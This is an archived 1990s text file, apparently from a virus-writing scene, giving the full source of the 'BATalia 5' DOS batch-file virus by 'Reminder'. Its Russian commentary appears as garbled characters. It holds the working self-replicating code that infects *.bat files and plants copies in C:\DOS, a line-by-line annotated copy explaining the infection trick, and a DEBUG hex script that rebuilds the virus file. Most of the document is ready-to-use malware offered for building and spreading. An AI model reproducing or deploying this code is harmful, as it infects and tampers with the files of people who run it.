home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / CCTX0297.ZIP / BVUPDAT2.ZIP / BATALIA5.ZIP / BATALIA5.TXT < prev   
Text File  |  1996-12-29  |  7KB  |  183 lines

  1.                               BATalia 5
  2.                                                 by Reminder
  3.  
  4. ä«ßΓ«¿¡ßΓóá
  5.  - ìỿßá¡ ¿ß¬½ετ¿Γѽ∞¡« ¡á ó¡πΓαÑ¡¡¿σ ¬«¼á¡ñáσ DOS`a.
  6.  - ì¿¬á¬¿σ óßΓá󫬠¡á ASM
  7.  - ê¡ßΓá½½¿απÑΓß∩ ¿º «ñ¡«ú« Σá⌐½á
  8.  - ìÑ Γá߬áÑΓ ºá ß«í«⌐ óßÑ ºáαáªÑ¡¡δÑ Σá⌐½δ
  9.  - Åα«óÑα¬á ¡á »«óΓ«α¡«Ñ ºáαáªÑ¡¿Ñ
  10.  - è«ααÑ¬Γ¡á∩ αáí«Γá ß ECHO (ON / OFF)
  11.  - ìÑ óδñáÑΓ »«ßΓ«α«¡¡¿σ ¡áñ»¿ßÑ⌐ ¡á φ¬αá¡
  12.  
  13. ¿ ìÑñ«ßΓáΓ¬¿:
  14.  - ìÑ íπñπΓ ¬«ααÑ¬Γ¡« ¿ß»«½¡∩Γ∞ß∩ Σá⌐½δ ß ¼ÑΓ¬á¼¿, ¬«Γ«αδÑ »α¿ßπΓßΓóπεΓ
  15.    ó ó¿απßÑ - (:s :i :b :e)
  16.  - ìÑ íπñÑΓ ¬«ααÑ¬Γ¡« αáí«ΓáΓ∞ »α¿ %COMSPEC% =! COMMAND.COM
  17.  - æ«ºñáÑΓ ó ¬áΓὫúÑ C:\DOS - ñóá Σá⌐½á, ¬«Γ«αδÑ ºáΓѼ ¡Ñ πñá½∩ÑΓ.
  18.   ( ñá¡¡δÑ Σá⌐½δ αѬ«¼Ñ¡ñπÑΓß∩ ß¼«ΓαÑΓ∞, τΓ«íδ »«¡∩Γ∞ »α¿¡µ¿» αáí«Γδ ó¿απßá)
  19.  
  20.  
  21. öá⌐½ BATALIA5.BAT - ¿ßσ«ñ¡¿¬ ¿ ºá»π߬áѼδ⌐ Σá⌐½ - ßἫú« ó¿απßá
  22. ;=============================== αѺáΓ∞ ΓπΓ =============================
  23. @echo off
  24. rem YYY
  25. if "%1"=="5" goto s
  26. for %%b in (*.bat) do call %0 5 %%b
  27. goto b
  28. :s
  29. copy %2 p>l
  30. echo NNN>>p
  31. echo 1>z1
  32. echo 2>z2
  33. echo 3>z3
  34. del z?/p<p>l
  35. if exist z? goto i
  36. goto e
  37. :i
  38. type %0>b
  39. copy b a/a>l
  40. copy %2 t>l
  41. copy /ba+t %2>l
  42. goto e
  43. :b
  44. echo rem              >x
  45. copy x+x+x+x y>l
  46. copy y+y+y+y+y+y z>l
  47. echo @%%comspec%% nul /ccopy c:\dos\y %%0>>z
  48. copy z c:\dos\x>l
  49. copy %0 c:\dos\y>l
  50. del ??>l
  51. echo on
  52. @copy c:\dos\x %0>nul
  53. :e
  54. :[BATalia-5] (c) by Reminder
  55.  
  56. ;=============================== αѺáΓ∞ ΓπΓ =============================
  57. é¿απß ñ«½ªÑ¡ ºá¡¿¼áΓ∞ 491 íá⌐Γ ¿ ºáóÑαΦáΓ∞ß∩ íá⌐ΓἿ 0d,0a,1a »«ß½Ñ
  58. ßΓ᫬¿ Reminder
  59.  
  60.  
  61.  
  62.  
  63.  
  64. 諼¼Ñ¡Γáα¿¿ ¬ ó¿απßπ
  65. ;=============================== αѺáΓ∞ ΓπΓ =============================
  66.  
  67. ;(c) by Reminder  (New Original BAT-VIRII) (Without ASM) (Only internal DOS)
  68. @echo off ; φσ« AKA "ÄÆÄüÉÇåàìêà èÄîÇìä" ó䬽ετÑ¡«
  69. rem YYY  ; îÑΓ¬á ó¿απßá
  70. if "%1"=="5" goto s ; Ñß½¿ óδºóá¡ ß »áαá¼ÑΓα«¼ 2 Γ« ß«íß¡« «íαáí«Γτ¿¬
  71. for %%b in (*.bat) do call %0 5 %%b  ; ÅÑαÑí«α óßÑσ íáΓ¡¿¬«ó ó ΓѬπΘѼ ¬áΓὫúÑ
  72.   ; ¿ Ñß½¿ ¡á⌐ñÑ¡ σ«Γ∞ «ñ¿¡, Γ« ó맮ó ßÑí∩ ªÑ ß »áαá¼ÑΓαἿ [2] ¿ [¿¼∩ íáΓ¡¿¬á]
  73. goto b ; ¬«¡Ñµ »ÑαÑí«αá -  «ΓñáΓ∞ π»αáó½Ñ¡¿Ñ ºáαáªÑ¡¡«⌐ »α«úαá¼¼Ñ
  74. :s   ; ¡áτὫ «íαáí«Γτ¿¬á
  75. copy %2 p>l  ; ß¬«»¿α«óáΓ∞ ¡á⌐ñÑ¡¡δ⌐ íáΓ¡¿¬ ó p
  76. echo NNN>>p  ; ñ«íáó¿Γ∞ ó ¬«¡Ñµ p ßΓ᫬π NNN
  77. echo 1>z1    ; ß«ºñáΓ∞ Σá⌐½ z1 ß« ßΓ᫬«⌐ 1
  78. echo 2>z2    ; ß«ºñáΓ∞ Σá⌐½ z2 ß« ßΓ᫬«⌐ 2
  79. echo 3>z3    ; ß«ºñáΓ∞ Σá⌐½ z3 ß« ßΓ᫬«⌐ 3
  80. del z?/p<p>l  ; Åα«¿ßσ«ñ¿Γ πñá½Ñ¡¿Ñ ß«ºñá¡¡δσ 3 Σá⌐½«ó, ¡á «ß¡«óÑ
  81.  ; ¿¡Σ«α¼áµ¿¿, »«½πτÑ¡¡«⌐ ¿º ¡á⌐ñÑ¡¡«ú« íáΓ¡¿¬á (ó ñá½∞¡Ñ⌐ΦѼ - íáΓ¡¿¬á)
  82.  ; Ñß½¿ íáΓ¡¿¬ πªÑ ºáαáªÑ¡ ¡á¼¿ - Γ« »α«¿º«⌐ñÑΓ πñá½Ñ¡¿Ñ óßÑσ Σá⌐½«ó -
  83.  ; ( ßΓ᫬á YYY ó ¡áτá½Ñ ó¿απßá ) - Ñß½¿ ó ΓѽѠíáΓ¡¿¬á ¡ÑΓ ¡πª¡δσ íπ¬ó
  84.  ; N ¿½¿ Y - Γ« ßΓ᫬á NNN ñ«íáó½Ñ¡¡á∩ ¡á¼¿ ó ¬«¡Ñµ íáΓ¡¿¬á ¡Ñ ñáßΓ
  85.  ; ºáßΓδΓ∞ ¬«¼á¡ñÑ DEL ó «ª¿ñá¡¿¿ ¡áªáΓ¿∩ ¡á ¬½áó¿áΓπαπ.
  86. if exist z? goto i ; Ñß½¿ ßπΘÑßΓóπÑΓ σ«Γ∞ «ñ¿¡ Σá⌐½ Z? - Γ« íáΓ¡¿¬
  87.  ; ¡Ñ ºáαáªÑ¡ ó¿απß«¼ ¿ »«φΓ«¼π »«ñ½Ñª¿Γ ºáαáªÑ¡¿ε.
  88. goto e   ; Ñß½¿ óñαπú íáΓ¡¿¬ πªÑ ß ó¿απß«¼ - óÑα¡Ñ¼ß∩ ¬ »ÑαÑí«απ.
  89. :i    ; »α«µÑñπαá ºáαáªÑ¡¿∩
  90. type %0>b  ; ß¬«»¿α«óáΓ∞ τ¿ßΓδ⌐ ó¿απß (ñ« íá⌐Γá 0A) ó Σá⌐½ b
  91. copy b a/a>l  ; ß¬«»¿α«óáΓ∞ τ¿ßΓδ⌐ ó¿απß ó Σá⌐½ a ß ñ«íáó½Ñ¡¿Ñ¼ 0A ó ¬«¡Ñµ
  92. copy %2 t>l   ; ß¬«»¿α«óáΓ∞ íáΓ¡¿¬ ó Σá⌐½ t
  93. copy /ba+t %2>l  ; ß¬«»¿α«óáΓ∞ ó¿απß ß 0A + t ó íáΓ¡¿¬ (ó¡Ññα¿Γß∩ ó ¡áτὫ)
  94. goto e    ; »α«ñ«½ª¿Γ∞ »ÑαÑí«α
  95. :b   ; Åα«µÑñπαá »ÑαÑñáτ¿ π»αáó½Ñ¡¿∩ ßΓáα«⌐ (¡áΦÑ⌐) »α«úÑ
  96. echo rem              >x ; ñÑ«áѼ Σá⌐½ x ß« ßΓ᫬«⌐ rem, »α«íѽἿ ¿ Ñ¡ΓÑα«¼
  97. copy x+x+x+x y>l   ; Σá⌐½ y πªÑ íπñÑΓ ß«ñÑαªáΓ∞ 4 rem`á, »α«íÑ½δ ¿ 4 Ñ¡ΓÑαá
  98. copy y+y+y+y+y+y z>l  ; Σá⌐½ z íπñÑΓ ß«ñÑαªáΓ∞ 24 rem`a, »α«íÑ½δ ¿ 24 Ñ¡ΓÑαá
  99. echo @%%comspec%% nul /ccopy c:\dos\y %%0>>z ; ó ¬«¡Ñµ Σá⌐½á z ñ«íáó½∩ÑΓß∩
  100.  ; óδΦÑß½ÑñπεΘá∩ ßΓ᫬á
  101. copy z c:\dos\x>l ; ¿ φëàΣá⌐½ z - ¬«»¿απÑΓß∩ ó c:\dos\x
  102. copy %0 c:\dos\y>l ; á ¡áΦá (¿ß»«½¡∩Ѽá∩) »α«úá ó c:\dos\y
  103. del ??>l  ; πñá½∩Ѽ óßÑ »α«¼ÑªπΓ«τ¡δÑ Σá⌐½δ
  104. echo on ; φσ« ó¬½ετÑ¡«
  105. @copy c:\dos\x %0>nul  ; ---------
  106. :e                              ; |
  107. :[BATalia-5] (c) by Reminder      ; |
  108.                                 ; <
  109. ;  ¬«»¿pπÑΓß∩ ¡áΦ c:\dos\x AKA z ó ΓѬπΘ¿⌐ bat¡¿¬
  110. ;  ¿ ¡áτ¿¡áÑΓ ¿ß»«¡∩Γß∩ ó¼ÑßΓ« :e ¿ Γ.ñ.
  111. ;  ß« ßΓp«τ¬«⌐ @%comspec% nul /ccopy c:\dos\y %0
  112. ;  ºá»π߬áÑΓß∩ ¬«»¿∩ ¬«¼¼á¡ñ ¬«¼á - ¡á «ñ¡π ¬«¼á¡ñπ - ¬«»¿α«óá¡¿Ñ
  113. ;  ( nul - φΓ« τΓ«íδ ¡¿τÑú« ¡á φ¬αá¡ ¡Ñ »«¬áºδóáΓ∞.)
  114. ;   ¿ ß««ΓóÑΓß¡« c:\dos\y »αÑóαáΦáÑΓß∩ ó %0,
  115. ;  Γ« ÑßΓ∞ ó«ßßΓá¡áó½¿óáÑΓ ¡áΦ íáΓ¡¿¬
  116. ;  Γ« ÑßΓ∞ ß¼δß½ ó Γ«¼:
  117. ;  ó ¬«¡µÑ ¡áΦÑú« ó¿pπßá ßΓ«¿Γ 1A - ¬«¡Ñµ TXT Σá⌐½á.
  118. ;  ¬«úñá ¿ß»«½¡∩ÑΓß∩ bat¡¿¬ Γ« »p¿ óßΓpÑτÑ 1A «¡
  119. ;  ºá¬á¡τ¿óáÑΓ páí«Γπ. HÄ ¡á¼ ªÑ ¡áñ« ¿ß»«½¡¿Γ∞ ºápáªÑ¡¡δ⌐
  120. ;  Σá⌐½ ¿ »«ßѼπ ∩ »ÑpÑσ«ªπ çÇ 1A íѺ Ñú« ¿ß»«½¡Ñ¡¿∩.
  121. ;  ¥Γ« ñѽáÑΓß∩ Γᬿ¼ «ípẫ¼:
  122. ;  êß»«½¡∩ÑΓß∩ bat¡¿¬, ¿ óñpπú, »p∩¼« »ÑpÑñ ¿ß»«¡Ñ¡¿Ñ¼ 1A
  123. ;  Ñú« ºá¼Ñ¡∩εΓ ¡á ñpπú«⌐,Γ«½∞¬« τΓ« ß«ºñá¡¡δ⌐,
  124. ;  ¿ ó«Γ «¡ ó¼ÑßΓ« 1A ñѽáÑΓ copy [ß«σpá¡Ñ¡¡δ⌐ bat¡¿¬] [ΓѬπΘ¿⌐ bat¡¿¬]
  125. ;  Γ« ÑßΓ∞ ¬«»¿pπÑΓ ßΓápδ⌐, ß«σpá¡Ñ¡¡δ⌐ »pÑñóáp¿Γѽ∞¡« bat¡¿¬
  126. ;  «ípáΓ¡« ¿ «¡ ¡áτ¿¡áÑΓ ¿ß»«¡∩Γß∩ ñá½∞ΦÑ, »p«»πßΓ¿ó 1A.
  127. ;  »«ß½Ññ«óáΓѽ∞¡«ßΓ∞ ¿ß»«½¡∩Ѽδ󠬫¼á¡ñ:
  128. ;  copy c:\dos\x %0 >nul
  129. ;  copy c:\dos\y %0 [ íѺ nul ]
  130. ;  «p¿ú¿¡á½∞¡«Ñ Γѽ« ºápáªÑ¡¡«ú« bat¡¿¬á
  131. ;  »p«»πßΓ¿ó :e,:[BATalia-5] ... ,1A.
  132. ;================================ αѺáΓ∞ ΓπΓ ==============================
  133.  
  134.  
  135.  
  136.  
  137.  
  138. é¿απß ó ó¿ñÑ ñÑíáú«ó߬«ú« ß¬α¿»Γá
  139. öá⌐½ BATALIA5.SCR - Σá⌐½ óδαѺáΓ∞ ¿ ºá»πßΓ¿Γ∞ Γá¬: DEBUG < BATALIA5.SCR
  140. ¿ »«½πτ¿ΓÑ ó ΓѬπΘѼ ¬áΓὫúÑ Σá⌐½ BATALIA5.BAT
  141. ;================================ αѺáΓ∞ ΓπΓ ==============================
  142.  N BATALIA5.BAT
  143.  E 0100 40 65 63 68 6F 20 6F 66 66 0D 0A 72 65 6D 20 59
  144.  E 0110 59 59 0D 0A 69 66 20 22 25 31 22 3D 3D 22 35 22
  145.  E 0120 20 67 6F 74 6F 20 73 0D 0A 66 6F 72 20 25 25 62
  146.  E 0130 20 69 6E 20 28 2A 2E 62 61 74 29 20 64 6F 20 63
  147.  E 0140 61 6C 6C 20 25 30 20 35 20 25 25 62 0D 0A 67 6F
  148.  E 0150 74 6F 20 62 0D 0A 3A 73 0D 0A 63 6F 70 79 20 25
  149.  E 0160 32 20 70 3E 6C 0D 0A 65 63 68 6F 20 4E 4E 4E 3E
  150.  E 0170 3E 70 0D 0A 65 63 68 6F 20 31 3E 7A 31 0D 0A 65
  151.  E 0180 63 68 6F 20 32 3E 7A 32 0D 0A 65 63 68 6F 20 33
  152.  E 0190 3E 7A 33 0D 0A 64 65 6C 20 7A 3F 2F 70 3C 70 3E
  153.  E 01A0 6C 0D 0A 69 66 20 65 78 69 73 74 20 7A 3F 20 67
  154.  E 01B0 6F 74 6F 20 69 0D 0A 67 6F 74 6F 20 65 0D 0A 3A
  155.  E 01C0 69 0D 0A 74 79 70 65 20 25 30 3E 62 0D 0A 63 6F
  156.  E 01D0 70 79 20 62 20 61 2F 61 3E 6C 0D 0A 63 6F 70 79
  157.  E 01E0 20 25 32 20 74 3E 6C 0D 0A 63 6F 70 79 20 2F 62
  158.  E 01F0 61 2B 74 20 25 32 3E 6C 0D 0A 67 6F 74 6F 20 65
  159.  E 0200 0D 0A 3A 62 0D 0A 65 63 68 6F 20 72 65 6D 20 20
  160.  E 0210 20 20 20 20 20 20 20 20 20 20 20 20 00 3E 78 0D
  161.  E 0220 0A 63 6F 70 79 20 78 2B 78 2B 78 2B 78 20 79 3E
  162.  E 0230 6C 0D 0A 63 6F 70 79 20 79 2B 79 2B 79 2B 79 2B
  163.  E 0240 79 2B 79 20 7A 3E 6C 0D 0A 65 63 68 6F 20 40 25
  164.  E 0250 25 63 6F 6D 73 70 65 63 25 25 20 6E 75 6C 20 2F
  165.  E 0260 63 63 6F 70 79 20 63 3A 5C 64 6F 73 5C 79 20 25
  166.  E 0270 25 30 3E 3E 7A 0D 0A 63 6F 70 79 20 7A 20 63 3A
  167.  E 0280 5C 64 6F 73 5C 78 3E 6C 0D 0A 63 6F 70 79 20 25
  168.  E 0290 30 20 63 3A 5C 64 6F 73 5C 79 3E 6C 0D 0A 64 65
  169.  E 02A0 6C 20 3F 3F 3E 6C 0D 0A 65 63 68 6F 20 6F 6E 0D
  170.  E 02B0 0A 40 63 6F 70 79 20 63 3A 5C 64 6F 73 5C 78 20
  171.  E 02C0 25 30 3E 6E 75 6C 0D 0A 3A 65 0D 0A 3A 5B 42 41
  172.  E 02D0 54 61 6C 69 61 2D 35 5D 20 28 63 29 20 62 79 20
  173.  E 02E0 52 65 6D 69 6E 64 65 72 0D 0A 1A
  174.  RCX
  175.  01EB
  176.  W
  177.  Q
  178. ;================================ αѺáΓ∞ ΓπΓ ==============================
  179.  
  180.  
  181.                                         (c) by Reminder [DVC]
  182.  
  183.